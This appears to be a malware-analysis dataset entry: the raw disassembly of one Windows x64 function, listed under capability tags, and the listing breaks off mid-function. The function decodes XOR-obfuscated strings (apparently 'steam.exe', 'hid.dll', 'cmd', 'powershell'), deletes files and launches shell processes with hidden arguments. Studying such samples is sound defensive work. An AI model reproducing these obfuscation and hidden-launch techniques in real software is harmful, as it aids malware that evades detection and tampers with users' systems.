Function at 0x140064200
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Encode data using xor
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x728]
sub rsp, 0x800
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1400d0040]
xor rax, rsp
mov qword [rbp + 0x6d0], rax
xor ebx, ebx
mov qword [0x1400d3e28], rbx
lea rax, [0x1400d3e18]
cmp qword [0x1400d3e30], 0xf
cmova rax, qword [0x1400d3e18]
mov byte [rax], bl
mov dword [rsp + 0x40], 0x73726576
mov dword [rsp + 0x44], 0x6e6f69
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
lea rax, [rsp + 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop
inc r8
cmp byte [rax + r8], bl
jne 0x140064290
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.140079350
movdqa xmm1, xmmword [0x1400c0d10]
movdqu xmmword [rsp + 0x48], xmm1
mov dword [rsp + 0x58], 0xe8e8fcce
mov dword [rsp + 0x5c], 0x9ff0f2f5
movdqa xmm7, xmmword [0x1400bffc0]
movdqa xmm2, xmmword [0x1400c0580]
movdqa xmmword [rbp - 0x70], xmm2
mov eax, dword [0x1400bfeb0]
movd xmm6, eax
psubb xmm6, xmm2
movd eax, xmm1
movd xmm0, eax
movdqa xmm1, xmm6
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
mov eax, dword [0x1400bfec0]
movd xmm1, eax
psubb xmm1, xmm2
movdqa xmmword [rbp + 0x70], xmm1
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
mov eax, dword [str._b_t_n_v]
movd xmm1, eax
psubb xmm1, xmm2
movdqa xmmword [rbp + 0x40], xmm1
movd xmm0, dword [rsp + 0x50]
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
mov eax, dword [0x1400bfee0]
movd xmm1, eax
psubb xmm1, xmm2
movdqa xmmword [rbp - 0x40], xmm1
movd xmm0, dword [rsp + 0x54]
xorps xmm1, xmm0
movd dword [rsp + 0x54], xmm1
mov eax, dword [0x1400bfef0]
movd xmm1, eax
psubb xmm1, xmm2
movdqa xmmword [rbp + 0x80], xmm1
movd xmm0, dword [rsp + 0x58]
xorps xmm1, xmm0
movd dword [rsp + 0x58], xmm1
mov r15d, 0x14
mov ecx, r15d
lea rdx, [rsp + 0x5c]
nop word [rax + rax]
lea eax, [rcx - 0x78]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x17
jb 0x1400643a0
mov byte [rsp + 0x5f], bl
lea r8, [0x1400d3e78]
cmp qword [0x1400d3e90], 0xf
cmova r8, qword [0x1400d3e78]
lea rax, [rbp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1400be32e]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x110]
call fcn.140062530
nop
mov dword [rsp + 0x40], 0xeefffbfc
movd esi, xmm6
mov dword [rbp - 0x80], esi
movd xmm1, esi
movd xmm0, dword [rsp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x68], rax
mov dword [rbp - 0x50], 0x67736d
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0x108], rbx
lea rax, [rbp - 0x50]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140064450
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0xf0]
call fcn.140079350
nop
lea rdx, [rbp + 0x110]
lea rcx, [rbp - 0x30]
call fcn.140077030
nop
lea r8, [rbp + 0xf0]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140060cf0
mov rcx, rax
lea rdx, [rsp + 0x40]
mov rax, rdi
nop dword [rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x1400644a0
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x1400644b7
mov rcx, qword [rcx]
cmp r8, rax
jne 0x1400644cf
lea rdx, [rsp + 0x40]
call fcn.1400aae10
test eax, eax
jne 0x1400644cf
mov r14b, 1
jmp 0x1400644d2
xor r14b, r14b
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140064513
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006450e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006621d
call fcn.14007b234
test r14b, r14b
je 0x14006600e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
mov word [rbp - 0x50], 0x2c
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
lea rax, [rbp - 0x50]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140064550
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.140079350
nop
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x40], 0xeafee8ec
movd xmm1, esi
movd xmm0, dword [rsp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], rbx
lea rax, [rsp + 0x40]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x1400645b4
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0xb0]
call fcn.140079350
nop
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0xd0]
call fcn.140077030
nop
lea r8, [rbp + 0xb0]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.140060cf0
nop
lea r8, [rbp - 0x30]
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140061000
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140064650
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006464b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066223
call fcn.14007b234
movdqa xmm0, xmmword [0x1400bff60]
movdqu xmmword [rbp + 0xa0], xmm0
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400646a2
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006469d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140066229
call fcn.14007b234
mov rax, qword [rbp + 0xf8]
mov rdx, qword [rbp + 0xf0]
sub rax, rdx
and rax, 0xffffffffffffffe0
cmp rax, 0x80
jne 0x1400646e2
add rdx, 0x60
lea rcx, [0x1400d3e98]
cmp rcx, rdx
je 0x1400646e2
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x1400646dd
mov rdx, qword [rdx]
call fcn.140077ad0
lea r9, [0x1400d0e28]
cmp qword [0x1400d0e40], 0xf
cmova r9, qword [0x1400d0e28]
mov dword [rsp + 0x68], 0x685c7325
mov dword [rsp + 0x6c], 0x642e6469
mov word [rsp + 0x70], 0x6c6c
mov byte [rsp + 0x72], 0
lea r8, [rsp + 0x68]
mov edx, 0x104
lea rcx, [rbp + 0x290]
call fcn.14004cd20
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x290]
call fcn.14008eae4
mov rcx, qword [rbp + 0xf0]
cmp qword [rcx + 0x18], 0xf
jbe 0x14006474f
mov rcx, qword [rcx]
call fcn.140090034
mov esi, 8
mov r14d, 0x10
mov r12d, 0xc
movdqa xmm6, xmmword [0x1400c0010]
mov r13d, dword [rbp - 0x70]
cmp dword [rbp + 0x164], eax
je 0x140065113
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x68], 0x61657473
mov dword [rsp + 0x6c], 0x78652e6d
mov word [rsp + 0x70], 0x65
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
lea rax, [rsp + 0x68]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400647c0
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x30]
call fcn.140079350
lea rcx, [rbp - 0x30]
call fcn.140060660
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c08e0]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xb9bad4d1
mov dword [rsp + 0x5c], 0xfefbe9ef
mov dword [rsp + 0x60], 0xdbc78fcd
mov word [rsp + 0x64], 0x87c1
mov byte [rsp + 0x66], 0xa6
mov r8d, dword [rbp - 0x80]
movd xmm1, r8d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
movd xmm1, dword [rbp + 0x70]
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rsp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rsp + 0x54]
xorps xmm1, xmm0
movd dword [rsp + 0x54], xmm1
mov ecx, r14d
lea rdx, [rsp + 0x58]
nop dword [rax]
lea eax, [rcx - 0x78]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1e
jb 0x140064880
mov byte [rsp + 0x66], 0
mov dword [rbp - 0x50], 0x646d63
mov dword [rsp + 0x40], 0xe5eff9e7
movd xmm1, r8d
movd xmm0, dword [rsp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x48]
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c0e80]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1400c0a60]
movdqu xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x1400c0c40]
movdqu xmmword [rbp - 0x10], xmm0
mov dword [rbp], 0xe89ad7d7
mov dword [rbp + 4], 0xbfced2c8
mov r9d, ebx
mov r10d, esi
lea r11, [rbp - 0x28]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, r14d
add r10d, r14d
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x140064930
cmp r9d, 0x37
jae 0x140064a73
mov eax, r9d
lea rcx, [rbp - 0x30]
add rcx, rax
nop dword [rax]
nop dword [rax + rax]
lea eax, [r9 - 0x78]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x37
jb 0x140064a60
mov byte [rbp + 7], 0
lea r9, [rbp + 0x290]
lea r8, [rbp - 0x30]
mov edx, 0x104
lea rcx, [rbp + 0x4b0]
call fcn.14004cd20
mov dword [rsp + 0x68], 0x65776f70
mov dword [rsp + 0x6c], 0x65687372
mov word [rsp + 0x70], 0x6c6c
mov byte [rsp + 0x72], 0
mov dword [rsp + 0x40], 0xe5eff9e7
movd xmm1, dword [rbp - 0x80]
movd xmm0, dword [rsp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x4b0]
lea r8, [rsp + 0x68]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c06d0]
movdqu xmmword [rsp + 0x68], xmm0
movd xmm1, dword [rbp - 0x80]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x68], xmm1
movd xmm1, dword [rbp + 0x70]
movd xmm0, dword [rsp + 0x6c]
xorps xmm1, xmm0
movd dword [rsp + 0x6c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rsp + 0x70]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
mov ecx, r12d
lea rdx, [rsp + 0x74]
lea eax, [rcx - 0x78]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140064b51
mov byte [rsp + 0x77], 0
xor r9d, r9d
lea r8, [rsp + 0x68]
mov edx, 0x104
lea rcx, [rbp + 0x3a0]
call fcn.14004cd20
lea rax, [rbp - 0x30]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
lea rax, [rbp + 0x290]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140064ba1
lea rdx, [rbp + 0x290]
lea rcx, [rbp - 0x30]
call fcn.140079350
nop
mov dword [rsp + 0x40], 0x69467764
mov word [rsp + 0x44], 0x656c
mov byte [rsp + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
lea rax, [rsp + 0x40]
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140064bf0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.140079350
movdqa xmm0, xmmword [0x1400c0e40]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xf5edf6dc
mov dword [rsp + 0x5c], 0xfaf2f4da
movd xmm1, dword [rbp - 0x80]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
movd xmm1, dword [rbp + 0x70]
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rsp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rsp + 0x54]
xorps xmm1, xmm0
movd dword [rsp + 0x54], xmm1
movd xmm2, dword [rbp + 0x80]
movd xmm0, dword [rsp + 0x58]
xorps xmm2, xmm0
movd dword [rsp + 0x58], xmm2
mov eax, dword [0x1400bff00]
movd xmm2, eax
movd xmm0, r13d
psubb xmm2, xmm0
movd xmm1, dword [rsp + 0x5c]
xorps xmm2, xmm1
movd dword [rsp + 0x5c], xmm2
mov byte [rsp + 0x60], 0
lea rdx, [0x1400d3e78]
cmp qword [0x1400d3e90], 0xf
cmova rdx, qword [0x1400d3e78]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3a0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x48]
call fcn.140061a60
test al, al
jne 0x140064ef7
movdqa xmm0, xmmword [0x1400c0da0]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1400c05e0]
movdqu xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x10], 0xa8
lea r9, [rbp - 0x28]
nop
lea eax, [rsi - 5]
lea ecx, [rsi - 6]
lea edx, [rsi - 7]
lea r8d, [rsi - 8]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm3, xmm0
movd dword [r9 - 8], xmm3
lea eax, [rsi - 1]
lea ecx, [rsi - 2]
lea edx, [rsi - 3]
lea r8d, [rsi - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, esi
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [rsi + 7]
lea ecx, [rsi + 6]
lea edx, [rsi + 5]
lea r8d, [rsi + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add esi, 0x10
lea r9, [r9 + 0x10]
lea eax, [rsi - 8]
cmp eax, 0x20
jb 0x140064d20
mov byte [rbp - 0x10], 0
lea rax, [rbp - 0x30]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140064e50
mov r8, rdi
lea rdx, [rbp - 0x30]
lea rcx, [0x1400d3e18]
call fcn.140077ad0
nop
lea rcx, [rbp + 0xf0]
call fcn.140077420
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x140064ebb
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064eb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006620b
call fcn.14007b234
xor al, al
mov rcx, qword [rbp + 0x6d0]
xor rcx, rsp
call fcn.14007ab80
lea r11, [rsp + 0x800]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x290]
call fcn.14008eae4
mov rcx, qword [rbp + 0xf0]
cmp qword [rcx + 0x18], 0xf
jbe 0x140064f1b
mov rcx, qword [rcx]
call fcn.140090034
cmp dword [rbp + 0x164], eax
je 0x140065113
movdqa xmm0, xmmword [0x1400c0da0]
movdqu xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1400c0620]
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0x10], 0xcac7c8cc
mov dword [rbp - 0xc], 0x8ecac8cb
mov byte [rbp - 8], 0xb0
lea r9, [rbp - 0x28]
nop dword [rax]
movd xmm1, ebx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm1, xmm0
movd dword [r9 - 8], xmm1
lea eax, [rsi - 1]
lea ecx, [rsi - 2]
lea edx, [rsi - 3]
lea r8d, [rsi - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, esi
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r13d
psubb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [rsi + 7]
lea ecx, [rsi + 6]
lea edx, [rsi + 5]
lea r8d, [rsi + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r13d
psubb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add ebx, 0x10
add esi, 0x10
lea r9, [r9 + 0x10]
cmp esi, 0x28
jb 0x140064f60
cmp ebx, 0x28
jae 0x140065090
mov eax, ebx
lea rcx, [rbp - 0x30]
add rcx, rax
nop dword [rax]
lea eax, [rbx - 0x78]
xor byte [rcx], al
inc ebx
lea rcx, [rcx + 1]
cmp ebx, 0x28
jb 0x140065080
mov byte [rbp - 8], 0
lea rax, [rbp - 0x30]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400650a0
mov r8, rdi
lea rdx, [rbp - 0x30]
lea rcx, [0x1400d3e18]
call fcn.140077ad0
nop
lea rcx, [rbp + 0xf0]
call fcn.140077420
nop
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x140064ebb
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140064eb6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14006620b
jmp 0x140064eb6
lea r9, [0x1400d0e00]
cmp qword [0x1400d0e18], 0xf
cmova r9, qword [0x1400d0e00]
mov dword [rsp + 0x68], 0xd8d6faad
mov dword [rsp + 0x6c], 0xe2efe8f8
movd xmm1, dword [rbp - 0x80]
movd xmm0, dword [rsp + 0x68]
xorps xmm1, xmm0
movd dword [rsp + 0x68], xmm1
movd xmm2, dword [rbp + 0x70]
movd xmm0, dword [rsp + 0x6c]
xorps xmm2, xmm0
movd dword [rsp + 0x6c], xmm2
mov byte [rsp + 0x70], 0
lea r8, [rsp + 0x68]
mov edx, 0x104
lea rcx, [rbp + 0x290]
call fcn.14004cd20
mov edx, 2
lea rcx, [rbp + 0x290]
call fcn.14008e2f4
test eax, eax
je 0x1400651a1
xor edx, edx
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp qword [0x1400d0e18], 0xf
lea r9, [0x1400d0e00]
cmova r9, qword [0x1400d0e00]
movdqa xmm0, xmmword [0x1400c0f10]
movdqu xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x60], 0xedb4f8ec
mov word [rbp - 0x5c], 0xfbf8
mov byte [rbp - 0x5a], 0x9e
movd xmm1, dword [rbp - 0x80]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x70], xmm1
movd xmm1, dword [rbp + 0x70]
movd xmm0, dword [rbp - 0x6c]
xorps xmm1, xmm0
movd dword [rbp - 0x6c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rbp - 0x68]
xorps xmm2, xmm0
movd dword [rbp - 0x68], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rbp - 0x64]
xorps xmm1, xmm0
movd dword [rbp - 0x64], xmm1
movd xmm2, dword [rbp + 0x80]
movd xmm0, dword [rbp - 0x60]
xorps xmm2, xmm0
movd dword [rbp - 0x60], xmm2
mov ecx, r15d
lea rdx, [rbp - 0x5c]
nop dword [rax]
lea eax, [rcx - 0x78]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x16
jb 0x140065240
mov byte [rbp - 0x5a], 0
lea r8, [rbp - 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x290]
call fcn.14004cd20
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x290]
call fcn.14008eae4
mov rcx, qword [rbp + 0xf0]
add rcx, 0x20
cmp qword [rcx + 0x18], 0xf
jbe 0x140065291
mov rcx, qword [rcx]
call fcn.140090034
cmp dword [rbp + 0x164], eax
je 0x1400656a3
lea rcx, [rbp + 0x290]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
movdqa xmm0, xmmword [0x1400c0830]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x60], 0xe5
movd xmm1, dword [rbp - 0x80]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x70], xmm1
movd xmm1, dword [rbp + 0x70]
movd xmm0, dword [rbp - 0x6c]
xorps xmm1, xmm0
movd dword [rbp - 0x6c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rbp - 0x68]
xorps xmm2, xmm0
movd dword [rbp - 0x68], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rbp - 0x64]
xorps xmm1, xmm0
movd dword [rbp - 0x64], xmm1
mov word [rbp - 0x60], 0x7d
xor r9d, r9d
lea r8, [rbp - 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x3a0]
call fcn.14004cd20
lea rax, [rbp - 0x30]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
lea rax, [rbp + 0x290]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140065350
lea rdx, [rbp + 0x290]
lea rcx, [rbp - 0x30]
call fcn.140079350
nop
mov dword [rsp + 0x40], 0x69467764
mov word [rsp + 0x44], 0x656c
mov byte [rsp + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
lea rax, [rsp + 0x40]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140065396
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x50]
call fcn.140079350
movdqa xmm0, xmmword [0x1400c0e40]
movdqu xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x58], 0xf5edf6dc
mov dword [rsp + 0x5c], 0xfaf2f4da
movd xmm1, dword [rbp - 0x80]
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
movd xmm1, dword [rbp + 0x70]
movd xmm0, dword [rsp + 0x4c]
xorps xmm1, xmm0
movd dword [rsp + 0x4c], xmm1
movd xmm2, dword [rbp + 0x40]
movd xmm0, dword [rsp + 0x50]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movd xmm1, dword [rbp - 0x40]
movd xmm0, dword [rsp + 0x54]
xorps xmm1, xmm0
movd dword [rsp + 0x54], xmm1
movd xmm2, dword [rbp + 0x80]
movd xmm0, dword [rsp + 0x58]
xorps xmm2, xmm0
movd dword [rsp + 0x58], xmm2
mov eax, dword [0x1400bff00]
movd xmm2, eax
movd xmm0, r13d
psubb xmm2, xmm0
